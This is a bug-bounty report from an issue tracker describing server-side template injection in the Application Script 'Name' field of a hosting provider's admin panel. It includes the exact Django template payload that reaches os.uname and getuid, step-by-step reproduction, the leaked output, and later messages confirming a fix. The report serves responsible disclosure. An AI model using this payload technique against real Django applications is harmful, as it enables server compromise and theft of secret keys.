- Status Assigned
-
Assigned To
cbay - Private
FS#555 - SSTI Leads to RCE
Summary
The “Name” field of an Application Script is rendered as an unescaped Django template. Setting the name to a template expression (e.g. os.uname) causes it to execute server-side when loading /site/add/?application=<id>, leaking server info (hostname, UID, SECRET_KEY). Potential RCE.
Steps to Reproduce
1. Log in at https://admin.alwaysdata.com/login/
2. Go to https://admin.alwaysdata.com/site/application/script/add/ (Web → Sites → Application scripts → Add an application script).
┌─────────────────────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ Field │ Value │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Name │ RCE-{{form.forms.gi_frame.f_globals.django.conf.os.uname.nodename}}-{{form.forms.gi_frame.f_globals.django.conf.os.getuid}} │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ URL │ https://example.com/ │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Author name │ test │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Author URI │ https://example.com/ │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Script upstream URI │ leave empty │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Public application │ leave unticked │
├─────────────────────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ Script │ the block below │
└─────────────────────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘
#!/bin/bash
# site:
# type: php
# form:
# testfield:
# label: test
# required: false
exit 0
The form: section is required — without it no fieldset renders and you see nothing.
3. Submit. You land back on /site/application/script/. The new row links to /site/application/script/<id>/ — note that id (e.g. 629).
4. Open https://admin.alwaysdata.com/site/add/?application=<id> — just load it, submit nothing.
5. Look at the grey "well" fieldset heading. It reads:
RCE-overlord-core-33
Impact
Attacker can execute arbitrary commands on the server, read sensitive data including Django SECRET_KEY, environment variables, and internal file paths — leading to full server compromise.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
New Alwaysdata RCE .mp4
Hello,
Can you confirm that the vulnerability is fixed?
Kind regards,
Cyril
Hi,
It is fixed now I have checked it, Can you please tell me reward amount for this critical, should I claim it now.
Thanks!
You can claim your bounty by opening a support ticket.